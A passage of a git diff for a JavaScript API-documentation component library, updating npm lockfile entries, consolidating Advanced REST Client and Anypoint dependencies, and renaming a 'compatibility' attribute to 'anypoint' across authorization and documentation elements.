-          "dev": true
-        },
-        "isarray": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-          "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
-          "dev": true
-        },
         "readable-stream": {
           "version": "2.3.7",
           "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
@@ -11342,22 +8733,8 @@
     "wrappy": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
-      "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
-    },
-    "write-stream": {
-      "version": "0.4.3",
-      "resolved": "https://registry.npmjs.org/write-stream/-/write-stream-0.4.3.tgz",
-      "integrity": "sha1-g8yMA0fQr2BXqThitOOuAd5cgcE=",
-      "requires": {
-        "readable-stream": "~0.0.2"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "0.0.4",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-0.0.4.tgz",
-          "integrity": "sha1-8y124/uGM0SlSNeZIwBxc2ZbO40="
-        }
-      }
+      "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=",
+      "dev": true
     },
     "ws": {
       "version": "7.5.5",
@@ -11374,7 +8751,8 @@
     "xtend": {
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz",
-      "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ=="
+      "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==",
+      "dev": true
     },
     "y18n": {
       "version": "5.0.8",
@@ -11415,156 +8793,6 @@
       "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==",
       "dev": true
     },
-    "yargs-unparser": {
-      "version": "1.6.0",
-      "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-1.6.0.tgz",
-      "integrity": "sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw==",
-      "dev": true,
-      "requires": {
-        "flat": "^4.1.0",
-        "lodash": "^4.17.15",
-        "yargs": "^13.3.0"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "4.1.0",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
-          "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
-          "dev": true
-        },
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
-          "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
-          "dev": true,
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "cliui": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
-          "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
-          "dev": true,
-          "requires": {
-            "string-width": "^3.1.0",
-            "strip-ansi": "^5.2.0",
-            "wrap-ansi": "^5.1.0"
-          }
-        },
-        "emoji-regex": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
-          "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==",
-          "dev": true
-        },
-        "find-up": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
-          "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
-          "dev": true,
-          "requires": {
-            "locate-path": "^3.0.0"
-          }
-        },
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
-          "dev": true
-        },
-        "locate-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
-          "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
-          "dev": true,
-          "requires": {
-            "p-locate": "^3.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
-          "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
-          "dev": true,
-          "requires": {
-            "p-limit": "^2.0.0"
-          }
-        },
-        "path-exists": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
-          "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
-          "dev": true
-        },
-        "string-width": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
-          "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
-          "dev": true,
-          "requires": {
-            "emoji-regex": "^7.0.1",
-            "is-fullwidth-code-point": "^2.0.0",
-            "strip-ansi": "^5.1.0"
-          }
-        },
-        "strip-ansi": {
-          "version": "5.2.0",
-          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
-          "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
-          "dev": true,
-          "requires": {
-            "ansi-regex": "^4.1.0"
-          }
-        },
-        "wrap-ansi": {
-          "version": "5.1.0",
-          "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
-          "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
-          "dev": true,
-          "requires": {
-            "ansi-styles": "^3.2.0",
-            "string-width": "^3.0.0",
-            "strip-ansi": "^5.0.0"
-          }
-        },
-        "y18n": {
-          "version": "4.0.3",
-          "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
-          "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
-          "dev": true
-        },
-        "yargs": {
-          "version": "13.3.2",
-          "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
-          "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
-          "dev": true,
-          "requires": {
-            "cliui": "^5.0.0",
-            "find-up": "^3.0.0",
-            "get-caller-file": "^2.0.1",
-            "require-directory": "^2.1.1",
-            "require-main-filename": "^2.0.0",
-            "set-blocking": "^2.0.0",
-            "string-width": "^3.0.0",
-            "which-module": "^2.0.0",
-            "y18n": "^4.0.0",
-            "yargs-parser": "^13.1.2"
-          }
-        },
-        "yargs-parser": {
-          "version": "13.1.2",
-          "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
-          "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
-          "dev": true,
-          "requires": {
-            "camelcase": "^5.0.0",
-            "decamelize": "^1.2.0"
-          }
-        }
-      }
-    },
     "yauzl": {
       "version": "2.10.0",
       "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz",
diff --git a/package.json b/package.json
index efaf0db..44c59b6 100644
--- a/package.json
+++ b/package.json
@@ -30,27 +30,13 @@
     "email": "arc@mulesoft.com"
   },
   "dependencies": {
-    "@advanced-rest-client/arc-events": "^0.2.21",
-    "@advanced-rest-client/arc-headers": "^0.1.10",
-    "@advanced-rest-client/arc-icons": "^3.3.4",
-    "@advanced-rest-client/arc-response": "^0.3.7",
-    "@advanced-rest-client/arc-url": "^0.2.2",
-    "@advanced-rest-client/authorization": "^0.2.3",
-    "@advanced-rest-client/body-editor": "^0.2.5",
-    "@advanced-rest-client/events-target-mixin": "^3.2.5",
-    "@advanced-rest-client/highlight": "^1.1.1",
-    "@advanced-rest-client/http-code-snippets": "^3.2.2",
-    "@advanced-rest-client/uuid-generator": "^3.1.2",
-    "@anypoint-web-components/anypoint-button": "^1.2.3",
-    "@anypoint-web-components/anypoint-checkbox": "^1.2.2",
-    "@anypoint-web-components/anypoint-collapse": "^0.1.2",
-    "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21",
-    "@anypoint-web-components/anypoint-input": "^0.2.27",
-    "@anypoint-web-components/anypoint-item": "^1.1.2",
-    "@anypoint-web-components/anypoint-listbox": "^1.1.7",
-    "@anypoint-web-components/anypoint-radio-button": "^0.1.9",
-    "@anypoint-web-components/anypoint-switch": "^0.1.10",
-    "@anypoint-web-components/anypoint-tabs": "^0.1.19",
+    "@advanced-rest-client/app": "^0.1.0",
+    "@advanced-rest-client/events": "^0.2.22",
+    "@advanced-rest-client/highlight": "^2.0.1",
+    "@advanced-rest-client/http-code-snippets": "^4.0.0",
+    "@advanced-rest-client/icons": "^4.0.0",
+    "@advanced-rest-client/uuid": "^4.0.0",
+    "@anypoint-web-components/awc": "^1.0.4",
     "@open-wc/dedupe-mixin": "^1.3.0",
     "@pawel-up/data-mock": "^0.1.7",
     "amf-json-ld-lib": "0.0.14",
@@ -59,19 +45,17 @@
     "lit-html": "^1.4.1"
   },
   "devDependencies": {
-    "@advanced-rest-client/arc-demo-helper": "^4.0.1",
-    "@anypoint-web-components/anypoint-dialog": "^0.1.10",
-    "@anypoint-web-components/anypoint-styles": "^1.0.2",
+    "@advanced-rest-client/arc-demo-helper": "^5.0.1",
     "@api-components/api-model-generator": "^0.2.14",
     "@commitlint/cli": "^13.2.1",
     "@commitlint/config-conventional": "^13.2.0",
-    "@open-wc/eslint-config": "^4.3.0",
-    "@open-wc/testing": "^2.5.33",
+    "@open-wc/eslint-config": "^7.0.0",
+    "@open-wc/testing": "^3.0.1",
     "@web/dev-server": "^0.1.25",
-    "@web/test-runner": "^0.13.18",
+    "@web/test-runner": "^0.13.20",
     "@web/test-runner-playwright": "^0.8.8",
     "amf-client-js": "^4.7.8",
-    "eslint": "^7.32.0",
+    "eslint": "^8.0.1",
     "eslint-config-prettier": "^8.3.0",
     "husky": "^7.0.2",
     "lint-staged": "^11.2.2",
diff --git a/src/elements/ApiAnnotationDocumentElement.js b/src/elements/ApiAnnotationDocumentElement.js
index 86e536d..efbbae4 100644
--- a/src/elements/ApiAnnotationDocumentElement.js
+++ b/src/elements/ApiAnnotationDocumentElement.js
@@ -1,7 +1,7 @@
 /* eslint-disable class-methods-use-this */
 /* eslint-disable no-param-reassign */
 import { LitElement, html } from 'lit-element';
-import '@advanced-rest-client/arc-icons/arc-icon.js';
+import '@advanced-rest-client/icons/arc-icon.js';
 import elementStyles from './styles/ApiAnnotation.js';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
 import { AmfSerializer } from '../helpers/AmfSerializer.js';
diff --git a/src/elements/ApiAuthorizationEditorElement.d.ts b/src/elements/ApiAuthorizationEditorElement.d.ts
index 8a7fd19..0003f80 100644
--- a/src/elements/ApiAuthorizationEditorElement.d.ts
+++ b/src/elements/ApiAuthorizationEditorElement.d.ts
@@ -1,8 +1,8 @@
 import { TemplateResult, LitElement } from 'lit-element';
 import { ApiParametrizedSecurityScheme, ApiSecurityRequirement, } from '../helpers/api';
 import { AmfDocument, } from '../helpers/amf';
-import { Oauth2Credentials } from '@advanced-rest-client/authorization';
-import { RequestAuthorization } from '@advanced-rest-client/arc-types/src/request/ArcRequest';
+import { Oauth2Credentials } from '@advanced-rest-client/app';
+import { RequestAuthorization } from '@advanced-rest-client/events/src/request/ArcRequest';
 import { default as ApiAuthorizationMethodElement } from './ApiAuthorizationMethodElement';
 
 declare interface SecurityMethods {
@@ -81,10 +81,10 @@ export default class ApiAuthorizationEditorElement extends LitElement {
   */
   oauth2AccessTokenUri: string;
   /** 
-  * Enabled compatibility with the Anypoint platform.
-  * @attribute
-  */
-  compatibility: boolean;
+   * Enables Anypoint platform styles.
+   * @attribute
+   */
+  anypoint: boolean;
   /** 
    * Enabled Material Design outlined theme
    * @attribute
diff --git a/src/elements/ApiAuthorizationEditorElement.js b/src/elements/ApiAuthorizationEditorElement.js
index 441ba2a..497d221 100644
--- a/src/elements/ApiAuthorizationEditorElement.js
+++ b/src/elements/ApiAuthorizationEditorElement.js
@@ -1,7 +1,7 @@
 /* eslint-disable no-plusplus */
 /* eslint-disable class-methods-use-this */
 import { html, LitElement } from 'lit-element';
-import '@advanced-rest-client/authorization/authorization-method.js';
+import '@advanced-rest-client/app/define/authorization-method.js';
 import elementStyles from './styles/AuthorizationEditor.js';
 import '../../api-authorization-method.js';
 
@@ -12,8 +12,8 @@ import '../../api-authorization-method.js';
 /** @typedef {import('../helpers/api').ApiSecurityScheme} ApiSecurityScheme */
 /** @typedef {import('../helpers/api').ApiSecurityHttpSettings} ApiSecurityHttpSettings */
 /** @typedef {import('./ApiAuthorizationMethodElement').default} ApiAuthorizationMethodElement */
-/** @typedef {import('@advanced-rest-client/arc-types').ArcRequest.RequestAuthorization} RequestAuthorization */
-/** @typedef {import('@advanced-rest-client/authorization').Oauth2Credentials} Oauth2Credentials */
+/** @typedef {import('@advanced-rest-client/events').ArcRequest.RequestAuthorization} RequestAuthorization */
+/** @typedef {import('@advanced-rest-client/app').Oauth2Credentials} Oauth2Credentials */
 
 /** 
  * @typedef SecurityMethods
@@ -104,9 +104,9 @@ export default class ApiAuthorizationEditorElement extends LitElement {
        */
       oauth2AccessTokenUri: { type: String },
       /** 
-       * Enabled compatibility with the Anypoint platform.
+       * Enables Anypoint platform styles.
        */
-      compatibility: { type: Boolean, reflect: true },
+      anypoint: { type: Boolean, reflect: true },
       /** 
        * Enabled Material Design outlined theme
        */
@@ -150,7 +150,7 @@ export default class ApiAuthorizationEditorElement extends LitElement {
     /** @type Oauth2Credentials[] */
     this.credentialsSource = undefined;
     /** @type boolean */
-    this.compatibility = undefined;
+    this.anypoint = undefined;
     /** @type boolean */
     this.outlined = undefined;
     /** @type {boolean} */
@@ -381,12 +381,12 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [basicAuthTemplate](security) {
-    const { compatibility, outlined, amf, globalCache } = this;
+    const { anypoint, outlined, amf, globalCache } = this;
     return html`
     ${this[methodTitleTemplate](security)}
     <api-authorization-method
       .amf="${amf}"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
       type="basic"
@@ -403,7 +403,7 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    */
   [digestAuthTemplate](security, renderTitle) {
     const {
-      compatibility,
+      anypoint,
       outlined,
       httpMethod,
       requestUrl,
@@ -414,7 +414,7 @@ export default class ApiAuthorizationEditorElement extends LitElement {
     return html`
     ${renderTitle ? this[methodTitleTemplate](security) : ''}
     <api-authorization-method
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
       .amf="${amf}"
@@ -434,11 +434,11 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [passThroughAuthTemplate](security, renderTitle) {
-    const { compatibility, outlined, amf, globalCache, } = this;
+    const { anypoint, outlined, amf, globalCache, } = this;
     return html`
     ${renderTitle ? this[methodTitleTemplate](security) : ''}
     <api-authorization-method
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
       .amf="${amf}"
@@ -455,9 +455,9 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [ramlCustomAuthTemplate](security) {
-    const { compatibility, outlined, amf, globalCache, } = this;
+    const { anypoint, outlined, amf, globalCache, } = this;
     return html`<api-authorization-method
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
       .amf="${amf}"
@@ -475,11 +475,11 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [bearerAuthTemplate](security, renderTitle) {
-    const { compatibility, outlined, amf, globalCache, } = this;
+    const { anypoint, outlined, amf, globalCache, } = this;
     return html`
     ${renderTitle ? this[methodTitleTemplate](security) : ''}
     <api-authorization-method
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
       type="bearer"
@@ -497,11 +497,11 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [oa1AuthTemplate](security, renderTitle) {
-    const { compatibility, outlined, oauth2RedirectUri, amf, globalCache, } = this;
+    const { anypoint, outlined, oauth2RedirectUri, amf, globalCache, } = this;
     return html`
     ${renderTitle ? this[methodTitleTemplate](security) : ''}
     <api-authorization-method
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
       type="oauth 1"
@@ -520,7 +520,7 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    */
   [oa2AuthTemplate](security) {
     const {
-      compatibility,
+      anypoint,
       outlined,
       oauth2RedirectUri,
       credentialsSource,
@@ -532,7 +532,7 @@ export default class ApiAuthorizationEditorElement extends LitElement {
     return html`
     ${this[methodTitleTemplate](security)}
     <api-authorization-method
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
       type="oauth 2"
@@ -554,7 +554,7 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    */
   [openIdConnectTemplate](security) {
     const {
-      compatibility,
+      anypoint,
       outlined,
       oauth2RedirectUri,
       credentialsSource,
@@ -566,7 +566,7 @@ export default class ApiAuthorizationEditorElement extends LitElement {
     return html`
     ${this[methodTitleTemplate](security)}
     <api-authorization-method
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       ?globalCache="${globalCache}"
       type="open id"
@@ -587,12 +587,12 @@ export default class ApiAuthorizationEditorElement extends LitElement {
    * @return {TemplateResult}
    */
   [apiKeyTemplate](security) {
-    const { compatibility, outlined, amf, globalCache, } = this;
+    const { anypoint, outlined, amf, globalCache, } = this;
     return html`
     ${this[methodTitleTemplate](security)}
     <api-authorization-method
       ?globalCache="${globalCache}"
-      ?compatibility="${compatibility}"
+      ?anypoint="${anypoint}"
       ?outlined="${outlined}"
       type="api key"
       .amf="${amf}"
diff --git a/src/elements/ApiAuthorizationMethodElement.d.ts b/src/elements/ApiAuthorizationMethodElement.d.ts
index e895e11..1aee976 100644
--- a/src/elements/ApiAuthorizationMethodElement.d.ts
+++ b/src/elements/ApiAuthorizationMethodElement.d.ts
@@ -1,10 +1,10 @@
-import { AuthorizationMethodElement as AuthorizationMethod } from "@advanced-rest-client/authorization";
+import { AuthorizationMethodElement as AuthorizationMethod } from "@advanced-rest-client/app";
 import { ApiParametrizedSecurityScheme } from '../helpers/api';
 import { AmfDocument } from '../helpers/amf';
 import {
   typeChangedSymbol,
   propagateChanges,
-} from "@advanced-rest-client/authorization/src/AuthorizationMethodElement.js";
+} from "@advanced-rest-client/app/src/elements/authorization/AuthorizationMethodElement.js";
 
 export const METHOD_CUSTOM: string;
 export const METHOD_PASS_THROUGH: string;
@@ -59,6 +59,11 @@ export default class ApiAuthorizationMethodElement extends AuthorizationMethod {
    * @attribute
    */
   overrideAccessTokenUri: string;
+  /** 
+   * Enables Anypoint platform styles.
+   * @attribute
+   */
+  anypoint: boolean;
 
   constructor();
 
diff --git a/src/elements/ApiAuthorizationMethodElement.js b/src/elements/ApiAuthorizationMethodElement.js
index 5deaf2f..586c559 100644
--- a/src/elements/ApiAuthorizationMethodElement.js
+++ b/src/elements/ApiAuthorizationMethodElement.js
@@ -1,4 +1,4 @@
-import { AuthorizationMethodElement as AuthorizationMethod } from "@advanced-rest-client/authorization";
+import { AuthorizationMethodElement as AuthorizationMethod } from "@advanced-rest-client/app";
 import {
   normalizeType,
   METHOD_OAUTH2,
@@ -8,14 +8,14 @@ import {
   METHOD_NTLM,
   METHOD_DIGEST,
   METHOD_OIDC,
-} from "@advanced-rest-client/authorization/src/Utils.js";
+} from "@advanced-rest-client/app/src/elements/authorization/Utils.js";
 import {
   typeChangedSymbol,
   renderCallback,
   changeCallback,
   factory,
   propagateChanges,
-} from "@advanced-rest-client/authorization/src/AuthorizationMethodElement.js";
+} from "@advanced-rest-client/app/src/elements/authorization/AuthorizationMethodElement.js";
 import { ApiAuthDataHelper } from "../lib/ApiAuthDataHelper.js";
 import * as InputCache from "../lib/InputCache.js";
 import styles from './styles/AuthorizationMethod.js';
@@ -29,13 +29,13 @@ export const apiValue = Symbol("apiValue");
 export const settingsHandler = Symbol("settingsHandler");
 
 /** @typedef {import('lit-element').CSSResult} CSSResult */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.BasicAuthorization} BasicAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2Authorization} OAuth2Authorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth1Authorization} OAuth1Authorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.DigestAuthorization} DigestAuthorization */
-/** @typedef {import('@advanced-rest-client/arc-types').Authorization.BearerAuthorization} BearerAuthorization */
-/** @typedef {import('@advanced-rest-client/authorization').AuthUiInit} AuthUiInit */
-/** @typedef {import('@advanced-rest-client/authorization').AuthUiBase} AuthUiBase */
+/** @typedef {import('@advanced-rest-client/events').Authorization.BasicAuthorization} BasicAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.OAuth2Authorization} OAuth2Authorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.OAuth1Authorization} OAuth1Authorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.DigestAuthorization} DigestAuthorization */
+/** @typedef {import('@advanced-rest-client/events').Authorization.BearerAuthorization} BearerAuthorization */
+/** @typedef {import('@advanced-rest-client/app').AuthUiInit} AuthUiInit */
+/** @typedef {import('@advanced-rest-client/app').AuthUiBase} AuthUiBase */
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 /** @typedef {import('../lib/auth-ui/CustomAuth').default} CustomAuth */
@@ -98,6 +98,10 @@ export default class ApiAuthorizationMethodElement extends AuthorizationMethod {
        * This is to be used with the mocking service.
        */
       overrideAccessTokenUri: { type: String },
+      /** 
+       * Enables Anypoint platform styles.
+       */
+      anypoint: { type: Boolean }
     };
   }
 
@@ -108,7 +112,7 @@ export default class ApiAuthorizationMethodElement extends AuthorizationMethod {
     /** @type {ApiParametrizedSecurityScheme} */
     this.security = undefined;
     /** @type {boolean} */
-    this.compatibility = undefined;
+    this.anypoint = undefined;
     /** @type {boolean} */
     this.descriptionOpened = undefined;
     /** @type {boolean} */
@@ -184,7 +188,7 @@ export default class ApiAuthorizationMethodElement extends AuthorizationMethod {
       target: this,
       readOnly: this.readOnly,
       disabled: this.disabled,
-      anypoint: this.compatibility,
+      anypoint: this.anypoint,
       outlined: this.outlined,
       authorizing: this.authorizing,
     });
diff --git a/src/elements/ApiDocumentationBase.d.ts b/src/elements/ApiDocumentationBase.d.ts
index 68a1841..afcd21d 100644
--- a/src/elements/ApiDocumentationBase.d.ts
+++ b/src/elements/ApiDocumentationBase.d.ts
@@ -1,5 +1,5 @@
 import { LitElement, TemplateResult } from 'lit-element';
-import { EventsTargetMixin } from  '@advanced-rest-client/events-target-mixin';
+import { EventsTargetMixin } from '@anypoint-web-components/awc';
 import { ApiParameter, ApiCustomDomainProperty, ApiExample } from '../helpers/api';
 import { DomainElement } from '../helpers/amf';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
@@ -34,7 +34,7 @@ export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitEl
    */
   domainId: string;
   /** 
-   * Enabled compatibility with the Anypoint platform.
+   * Enables Anypoint platform styles.
    * @attribute
    */
   anypoint: boolean;
diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js
index 441e3e8..e8b01e7 100644
--- a/src/elements/ApiDocumentationBase.js
+++ b/src/elements/ApiDocumentationBase.js
@@ -3,10 +3,10 @@
 import { LitElement, html } from 'lit-element';
 import { classMap } from 'lit-html/directives/class-map.js';
 import { ifDefined } from 'lit-html/directives/if-defined.js';
-import { EventsTargetMixin } from  '@advanced-rest-client/events-target-mixin';
-import '@anypoint-web-components/anypoint-button/anypoint-button.js';
-import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js';
-import '@advanced-rest-client/arc-icons/arc-icon.js';
+import { EventsTargetMixin } from  '@anypoint-web-components/awc';
+import '@anypoint-web-components/awc/anypoint-button.js';
+import '@anypoint-web-components/awc/anypoint-collapse.js';
+import '@advanced-rest-client/icons/arc-icon.js';
 import '@advanced-rest-client/highlight/arc-marked.js';
 import { ApiExampleGenerator } from '../schema/ApiExampleGenerator.js';
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
@@ -96,7 +96,7 @@ export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitEl
        */
       domainId: { type: String, reflect: true },
       /** 
-       * Enabled compatibility with the Anypoint platform.
+       * Enables Anypoint platform styles.
        */
       anypoint: { type: Boolean, reflect: true },
     };
@@ -266,7 +266,7 @@ export class ApiDocumentationBase extends EventsTargetMixin(AmfHelperMixin(LitEl
   [sectionToggleTemplate](ctrlProperty) {
     const label = this[ctrlProperty] ? 'Hide' : 'Show';
     return html`
-    <anypoint-button class="section-toggle" ?compatibility="${this.anypoint}">
+    <anypoint-button class="section-toggle" ?anypoint="${this.anypoint}">
       ${label} <arc-icon icon="keyboardArrowDown" class="toggle-icon"></arc-icon>
     </anypoint-button>
     `;
diff --git a/src/elements/ApiDocumentationDocumentElement.js b/src/elements/ApiDocumentationDocumentElement.js
index 0d9901f..077e188 100644
--- a/src/elements/ApiDocumentationDocumentElement.js
+++ b/src/elements/ApiDocumentationDocumentElement.js
@@ -1,9 +1,9 @@
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
+import { HttpStyles } from '@advanced-rest-client/app';
 import elementStyles from './styles/ApiDocumentationDocument.js';
 import commonStyles from './styles/Common.js';
-import HttpStyles from './styles/HttpLabel.js';
 import { ApiDocumentationBase, descriptionTemplate, serializerValue } from './ApiDocumentationBase.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
@@ -20,7 +20,7 @@ export const setModel = Symbol('setModel');
  */
 export default class ApiDocumentationDocumentElement extends ApiDocumentationBase {
   get styles() {
-    return [elementStyles, commonStyles, HttpStyles, MarkdownStyles];
+    return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles];
   }
 
   /**
diff --git a/src/elements/ApiDocumentationElement.d.ts b/src/elements/ApiDocumentationElement.d.ts
index 0f6535d..fe093da 100644
--- a/src/elements/ApiDocumentationElement.d.ts
+++ b/src/elements/ApiDocumentationElement.d.ts
@@ -1,5 +1,5 @@
 import { TemplateResult } from 'lit-element';
-import { Oauth2Credentials } from '@advanced-rest-client/authorization';
+import { Oauth2Credentials } from '@advanced-rest-client/app';
 import { ApiDocumentationBase } from './ApiDocumentationBase.js';
 import { AmfDocument, DomainElement, EndPoint } from '../helpers/amf';
 import { ApiSummary } from '../helpers/api';
diff --git a/src/elements/ApiDocumentationElement.js b/src/elements/ApiDocumentationElement.js
index 371dea2..9fbc786 100644
--- a/src/elements/ApiDocumentationElement.js
+++ b/src/elements/ApiDocumentationElement.js
@@ -1,8 +1,8 @@
 /* eslint-disable no-param-reassign */
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
-import '@anypoint-web-components/anypoint-radio-button/anypoint-radio-button.js';
